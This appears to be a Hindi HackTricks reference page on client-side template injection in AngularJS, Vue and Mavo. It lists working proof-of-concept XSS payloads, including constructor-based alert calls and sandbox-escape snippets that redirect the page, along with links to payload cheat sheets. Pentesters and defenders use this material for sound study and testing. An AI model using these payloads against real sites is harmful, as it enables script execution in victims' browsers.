Client Side Template Injection (CSTI)
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Summary
यह Server Side Template Injection की तरह है लेकिन client में। SSTI आपको remote server पर code execute करने की अनुमति दे सकता है, CSTI आपको victim's browser में arbitrary JavaScript कोड execute करने की अनुमति दे सकता है।
इस सुरक्षा कमजोरी के लिए Testing SSTI के मामले में बहुत similar है, interpreter a template की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे {{ 7-7 }}
के साथ, यदि ऐप vulnerable है तो आप 0
देखेंगे, और यदि नहीं, तो आप मूल: {{ 7-7 }}
देखेंगे।
AngularJS
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript फ्रेमवर्क है जो HTML के साथ निर्देशिकाओं के रूप में जाने जाने वाले गुणों के माध्यम से इंटरैक्ट करता है, जिसमें से एक प्रमुख ng-app
है। यह निर्देशिका AngularJS को HTML सामग्री को संसाधित करने की अनुमति देती है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript अभिव्यक्तियों को निष्पादित किया जा सकता है।
उन परिदृश्यों में जहां उपयोगकर्ता इनपुट को ng-app
के साथ टैग किए गए HTML बॉडी में गतिशील रूप से डाला जाता है, यह मनमाने JavaScript कोड को निष्पादित करना संभव है। यह इनपुट के भीतर AngularJS की सिंटैक्स का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे निष्पादित किया जा सकता है:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
आप इस बुनियादी ऑनलाइन उदाहरण को AngularJS में इस लिंक पर पा सकते हैं http://jsfiddle.net/2zs2yv7o/ और Burp Suite Academy में
[!CAUTION] > Angular 1.6 ने सैंडबॉक्स हटा दिया इसलिए इस संस्करण से एक पेलोड जैसे
{{constructor.constructor('alert(1)')()}}
या<input ng-focus=$event.view.alert('XSS')>
काम करना चाहिए।
VueJS
आप एक कमजोर Vue कार्यान्वयन इस लिंक पर पा सकते हैं https://vue-client-side-template-injection-example.azu.now.sh/
काम करने वाला पेलोड: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
और कमजोर उदाहरण का स्रोत कोड यहाँ है: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
A really good post on CSTI in VUE can be found in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
श्रेय: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
अधिक VUE पेलोड देखें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
अधिक पेलोड्स https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
ब्रूट-फोर्स डिटेक्शन लिस्ट
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।